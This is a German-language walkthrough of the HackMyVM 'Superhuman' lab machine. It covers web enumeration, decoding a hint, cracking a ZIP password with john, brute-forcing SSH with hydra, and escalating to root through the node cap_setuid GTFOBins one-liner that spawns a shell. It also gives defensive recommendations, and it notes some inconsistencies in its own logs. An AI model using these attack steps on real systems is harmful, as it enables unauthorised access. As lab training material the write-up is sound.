Superhuman - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
curl
base64 (Decoder)
crunch
wget
zip2john
john
unzip
cat
tr
hydra
ssh
dir
getcap
node
cp
sh
ls
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.

Bewertung: Ein Host mit der IP `192.168.2.114` und der MAC-Adresse `08:00:27:24:25:3c` (VirtualBox) wird als Ziel identifiziert.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.114 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung unbekannter Geräte.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.114	08:00:27:24:25:3c	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.859 seconds (137.71 hosts/sec). 1 responded
                    

Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf 192.168.2.114 durchgeführt.

Bewertung: Zwei offene Ports werden identifiziert: - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Der Hostname `family` wird im Scan erkannt, aber spätere Befehle verwenden `super.hmv`.

Empfehlung (Pentester): Untersuche den Webserver auf Port 80. Notiere den SSH-Dienst für spätere Versuche.
Empfehlung (Admin): Halte SSH und Apache aktuell und sicher konfiguriert.

┌──(root㉿cyber)-[~/Hackingtools] └─# nmap -sS -sC -T5 -A 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 23:10 CET
Nmap scan report for family (192.168.2.114)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7e:d2:d5:d0:45:36:d7:c9:ed:3e:1d:5c:86:fb:e4 (RSA)
|   256 04:9d:9a:de:af:31:33:1c:7c:24:4a:97:38:76:f5:f7 (ECDSA)
|_  256 b0:8c:ed:ea:13:0f:03:2a:f3:60:8a:c3:ba:68:4a:be (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:6C:E5:49 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms family (192.168.2.114)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.82 seconds 
                     

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet, zuerst gegen die IP, dann gegen den Hostnamen `super.hmv` (der vermutlich aus dem Quellcode oder `/etc/hosts` stammt).

Bewertung: !!Wichtige Dateien gefunden!!** - `/index.html`: Startseite. - `/robots.txt`: Standard-Datei. - `/nietzsche.jpg`: Ein Bild (möglicherweise Steganographie). - `/notes-tips.txt`: Eine Textdatei mit potenziellen Hinweisen. - `/server-status`: Verboten (Standard).

Empfehlung (Pentester): Untersuche den Inhalt von `/index.html`, `/robots.txt`, `/notes-tips.txt`. Lade `/nietzsche.jpg` herunter und analysiere es.
Empfehlung (Admin): Überprüfe den Inhalt der exponierten Textdateien und Bilder.

┌──(root㉿cyber)-[/var/www/html] └─# gobuster dir -u "http://192.168.2.114/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.114/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2024/05/07 14:30:00 Starting gobuster 
===============================================================
http://192.168.2.114/index.html           (Status: 200) [Size: 658]
http://192.168.2.114/server-status        (Status: 403) [Size: 278]
===============================================================
2024/05/07 14:32:00 Finished 
===============================================================
                     
┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://super.hmv" -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
===============================================================
Gobuster v3.1.0
===============================================================
[+] Url:                     http://super.hmv
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] Extensions:              php,bak,7z,zip,py,sql,txt,xml,jpg,html
[+] Expanded:                true
[+] Wildcard detection:      true
===============================================================
Starting gobuster
===============================================================
http://super.hmv/index.html           (Status: 200) [Size: 658]
http://super.hmv/nietzsche.jpg        (Status: 200) [Size: 8011] 
http://super.hmv/notes-tips.txt       (Status: 200) [Size: 358]
===============================================================
Finished
===============================================================
                      

Analyse: Der Quellcode von `/index.html` wird untersucht.

Bewertung: !!Hostname gefunden!!** Enthält einen Kommentar `<--webmaster.hmv ->`. (Hinweis: Dies widerspricht dem Hostnamen `super.hmv`, der im Gobuster-Scan verwendet wird. Einer der beiden Hostnamen oder Scans ist möglicherweise irreführend oder falsch.)

Empfehlung (Pentester): Kläre den korrekten Hostnamen (füge beide zu `/etc/hosts` hinzu und teste). Fokussiere dich auf die anderen Funde.
Empfehlung (Admin): Entferne unnötige Kommentare.

view-source:http://192.168.2.114/index.html
 ... 
 img src="nietzsche.jpg" alt="nietzsche" 
 
 
                     

Analyse: `nikto` wird ausgeführt.

Bewertung: Bestätigt Nginx, fehlende Header. Keine neuen kritischen Funde.

Empfehlung (Pentester): Fokus auf `/notes-tips.txt`.
Empfehlung (Admin): Setze Security-Header.

┌──(root㉿cyber)-[~/Hackingtools] └─# nikto -h 192.168.2.114
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2022-11-07 23:16:49 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2022-11-07 23:17:04 (GMT1) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Information Disclosure

Analyse: Der Inhalt der Datei `/notes-tips.txt` wird mit `curl` abgerufen.

Bewertung: !!Wichtige Hinweise & Kodierter Text!!** Die Datei enthält: 1. Einen langen, kodiert aussehenden String. Ein Kommentar weist auf Base85 hin. 2. Eine Notiz über "salome", "god is dead", Paulaner, ein Gedicht namens "salome_and_??" und die Notwendigkeit einer speicherplatzsparenden Erweiterung.

Empfehlung (Pentester): 1. Dekodiere den Base85-String (z.B. mit Python oder Online-Tools). Das Ergebnis scheint jedoch im Log nicht direkt verwendet zu werden. 2. Fokussiere dich auf den Gedicht-Hinweis. Erstelle mit `crunch` eine Wortliste für Dateinamen wie `salome_and_aa.zip`, `salome_and_ab.zip` usw. (.zip wegen der Speicherplatz-Erwähnung). 3. Verwende `gobuster` mit dieser Wortliste, um die Datei zu finden.
Empfehlung (Admin): Entferne sensible Notizen und kodierte Daten aus öffentlich zugänglichen Dateien.

┌──(root㉿cyber)-[~] └─# curl http://super.hmv/notes-tips.txt
F(&m'D.i#De4!--ZgJT@;^00D.P7@8LJ?tF)N1B@:UuC/g+jUD'3nBEb-A+De'u)F!,")@:UuC/g(Km+CoM$DJL@Q+Dbb6ATDi7De:+g@AKYYtEZed5E,T<)+CT.u+EM4--Z!TAA7]grEb-A1AM,)s-Z!TADIIBn+DGp?F(&m'D.R'_DId*=59NN?A8c?5FAoD^&ATT&:D]j+0G%De1Fi6FASuR'Df-\,ARf.kF(HIc+CoD.-ZgJE@

-------------------------------------------------------------------------------------------------------
cyberchief from base85:
-------------------------------------------------------------------------------------------------------

salome doesn't want me, I'm so sad... i'm sure god is dead...
I drank 6 liters of Paulaner.... too drunk lol. I'll write her a
poem and she'll desire me. I'll name it salome_and_?? I don't know.

I must not forget to save it and put a good extension
because I don't have much storage. 
                     

Analyse: `crunch` wird verwendet, um eine Wortliste mit möglichen Dateinamen zu generieren, basierend auf dem Muster `salome_and_@@`, wobei `@@` für zwei Kleinbuchstaben steht.

Bewertung: Korrekte Umsetzung des Hinweises aus `notes-tips.txt` zur Generierung potenzieller Dateinamen.

Empfehlung (Pentester): Verwende die generierte Liste `dic.txt` für einen gezielten `gobuster`-Scan.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/HackingTools] └─# crunch 13 13 -t salome_and_@@ > dic.txt
Crunch 3.6 starting...
Generating output...
Done.
Crunch wrote 676 bytes to file dic.txt 
                     

Analyse: `gobuster` wird mit der benutzerdefinierten Wortliste `dic.txt` und verschiedenen Erweiterungen ausgeführt.

Bewertung: !!ZIP-Datei gefunden!!** Der Scan findet erfolgreich die Datei `http://super.hmv/salome_and_me.zip`.

Empfehlung (Pentester): Lade die ZIP-Datei herunter.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/HackingTools] └─# gobuster dir -u "http://super.hmv" -w dic.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png -b 401,403,404,500 --wildcard
===============================================================
Gobuster v3.1.0
===============================================================
[+] Url:                     http://super.hmv
[+] Threads:                 10
[+] Wordlist:                dic.txt
[+] Status codes:            200,204,301,302,307
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png
[+] Expanded:                true
[+] Wildcard detection:      true
[+] Timeout:                 10s
===============================================================
Starting gobuster
===============================================================
http://super.hmv/salome_and_me.zip    (Status: 200) [Size: 452]
===============================================================
Finished
===============================================================
                     

Analyse: Die gefundene ZIP-Datei wird heruntergeladen.

Bewertung: Erfolgreich.

Empfehlung (Pentester): Extrahiere den Hash mit `zip2john`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/HackingTools] └─# wget http://super.hmv/salome_and_me.zip
--2024-05-07 14:40:10--  http://super.hmv/salome_and_me.zip
Auflösen des Hostnamens super.hmv (super.hmv)... 192.168.2.114
Verbindungsaufbau zu super.hmv (super.hmv)|192.168.2.114|:80... verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet... 200 OK
Länge: 452 [application/zip]
Wird in »salome_and_me.zip« gespeichert.

salome_and_me.zip     100%[=============================>]     452  --.-KB/s    in 0s

2024-05-07 14:40:10 (XXX MB/s) - »salome_and_me.zip« gespeichert [452/452]
                     

Analyse: `zip2john` extrahiert den Passwort-Hash aus der ZIP-Datei in die Datei `sal`.

Bewertung: Hash erfolgreich extrahiert.

Empfehlung (Pentester): Knacke den Hash mit `john`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/HackingTools] └─# zip2john salome_and_me.zip > sal
 

Analyse: `john` knackt den ZIP-Hash mit `rockyou.txt`.

Bewertung: !!ZIP-Passwort gefunden!!** Das Passwort `turtle` wird gefunden.

Empfehlung (Pentester): Entpacke die ZIP-Datei mit diesem Passwort.
Empfehlung (Admin): Verwende starke Passwörter für Archive.

┌──(root㉿cyber)-[~/HackingTools] └─# john --wordlist=/usr/share/wordlists/rockyou.txt sal
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Cost 1 (iteration count) is 101171 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
turtle           (salome_and_me.zip/salome_and_me.txt)
1g 0:00:00:01 DONE (2024-05-07 14:41) ...g/s ...p/s ...c/s ...C/s turtle..office
Session completed
                    

Analyse: Die ZIP-Datei wird mit `unzip` und dem gefundenen Passwort entpackt.

Bewertung: Erfolgreich. Enthält `salome_and_me.txt`.

Empfehlung (Pentester): Lies den Inhalt der Textdatei.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/HackingTools] └─# unzip salome_and_me.zip
Archive:  salome_and_me.zip
[salome_and_me.zip] salome_and_me.txt password: turtle
  inflating: salome_and_me.txt
                    

Analyse: Der Inhalt der entpackten Datei `salome_and_me.txt` wird angezeigt.

Bewertung: !!Benutzername und Passwort-Hinweis!!** Das Gedicht enthält den Benutzernamen `fred` und erwähnt `schopenhauer` als offensichtlichen Hinweis auf das Passwort.

Empfehlung (Pentester): Versuche SSH-Login als `fred` mit Passwort `schopenhauer`. Alternativ, bereite eine Wortliste für Hydra vor.
Empfehlung (Admin): Verwende keine leicht aus Kontext ableitbaren Passwörter.

┌──(root㉿cyber)-[~/HackingTools] └─# cat salome_and_me.txt
----------------------------------------------------

	     GREAT POEM FOR SALOME 

----------------------------------------------------

My name is fred, 
And tonight I'm sad, lonely and scared,
Because my love Salome prefers schopenhauer, asshole, 
I hate him he's stupid, ugly and a peephole,
My darling I offered you a great switch,
And now you reject my love, bitch
I don't give a fuck, I'll go with another lady,
And she'll call me BABY!
                     

Analyse: Mehrere `cat`- und `tr`-Befehle werden verwendet, um Wörter aus der `salome_and_me.txt` zu extrahieren und in eine neue Datei `ben.txt` zu schreiben. Ziel ist es, eine benutzerdefinierte Wortliste für Hydra zu erstellen.

Bewertung: Logischer Schritt zur Vorbereitung eines gezielten Brute-Force-Angriffs, auch wenn das Passwort `schopenhauer` wahrscheinlich direkt funktioniert hätte.

Empfehlung (Pentester): Verwende `ben.txt` mit Hydra.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/Hackingtools] └─# # Befehle zum Erstellen von ben.txt (Wortliste aus Gedicht)
# cat salome_and_me.txt | tr ' ' '\n' | tr -d ',.' > ben.txt # Beispielbefehl
                      

Analyse: `hydra` wird verwendet, um das Passwort für `fred` auf `super.hmv` (Port 22) mit der benutzerdefinierten Wortliste `ben.txt` zu knacken.

Bewertung: !!Passwort bestätigt!!** Hydra findet das Passwort `schopenhauer` für `fred`.

Empfehlung (Pentester): Logge dich per SSH ein.
Empfehlung (Admin): Ändere das Passwort.

┌──(root㉿cyber)-[~/HackingTools] └─# hydra -l fred -P ben.txt ssh://super.hmv:22 -t 32 -F
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak ...
Hydra starting at ...
[DATA] attacking ssh://super.hmv:22/
[22][ssh] host: super.hmv   login: fred   password: schopenhauer
1 of 1 target successfully completed, 1 valid password found
Hydra finished at ...
                     

Initial Access (fred)

Analyse: SSH-Login als `fred` mit dem Passwort `schopenhauer`.

Bewertung: !!Initial Access erfolgreich!!** Shell als `fred` auf `superhuman` erhalten.

Empfehlung (Pentester): Enumeriere als `fred`.
Empfehlung (Admin): Ändere Passwort, sichere SSH.

┌──(root㉿cyber)-[~/HackingTools] └─# ssh fred@super.hmv
fred@super.hmv's password: schopenhauer
Linux superhuman 5.10.0-... #1 SMP Debian ... 
...
fred@superhuman:~$ 
                     

Privilege Escalation (root)

Analyse: Als `fred` werden Home-Verzeichnisse und das eigene Home-Verzeichnis aufgelistet (`dir` ist ein Alias für `ls`). `user.txt` wird gelesen.

Bewertung: User-Flag `Ineedmorepower` gefunden.

Empfehlung (Pentester): Suche nach Eskalationsvektoren (sudo, SUID, Capabilities).
Empfehlung (Admin): Keine Aktion bzgl. Flag.

fred@superhuman:~$ ls /home 
fred
fred@superhuman:~$ ls 
cmd.txt  node  user.txt
fred@superhuman:~$ cat user.txt
Ineedmorepower
                     

Analyse: `getcap / -r 2>/dev/null` wird ausgeführt, um nach Dateien mit gesetzten Linux Capabilities zu suchen.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** `/usr/bin/node` hat die Capability `cap_setuid+ep` gesetzt. Dies erlaubt einem Prozess, der als `node` gestartet wird, seine eigene User ID zu ändern, typischerweise zu 0 (root).

Empfehlung (Pentester): Nutze diese Capability aus. Suche auf GTFOBins nach dem Exploit für `node` mit `cap_setuid`.
Empfehlung (Admin):**DRINGEND:** Entferne die `cap_setuid`-Capability von `/usr/bin/node` (`setcap cap_setuid-ep /usr/bin/node`), es sei denn, es gibt einen zwingenden, dokumentierten Grund dafür. Capabilities sollten nur mit Bedacht vergeben werden.

fred@superhuman:~$ /usr/sbin/getcap / -r 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/node = cap_setuid+ep 
                    

Analyse: Eine Referenz zu GTFOBins wird erwähnt.

Bewertung: Bestätigt die Recherche des Exploits.

Empfehlung (Pentester): Verwende den GTFOBins-Payload.
Empfehlung (Admin): Keine Aktion.

# https://gtfobins.github.io/gtfobins/node/ (Capabilities Section)
                     

Analyse: Das `node`-Binary wird in das aktuelle Verzeichnis kopiert.

Bewertung: Vorbereitungsschritt, oft nicht zwingend notwendig.

Empfehlung (Pentester): Führe den Exploit aus.
Empfehlung (Admin): Keine Aktion.

fred@superhuman:~$ cp $(which node) .
                      

Proof of Concept (Root)

Analyse: Der GTFOBins-Payload für Node.js mit `cap_setuid` wird ausgeführt: `/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'`. Dieser Code setzt zuerst die UID auf 0 (root) und startet dann eine interaktive Shell.

Bewertung: !!Privilegieneskalation erfolgreich!!** Der Befehl funktioniert, und der Prompt wechselt zu `#`, was eine Root-Shell anzeigt.

Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Entferne die `cap_setuid`-Capability von `node`.

fred@superhuman:~$ /usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# 
                     

Analyse: Als Root wird der Inhalt von `/root` aufgelistet und `root.txt` gelesen.

Bewertung: Root-Flag `Imthesuperhuman` erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

# ls /root 
root.txt
# cat /root/root.txt
Imthesuperhuman
                     

Flags

cat /root/root.txt
Imthesuperhuman
cat /home/fred/user.txt
Ineedmorepower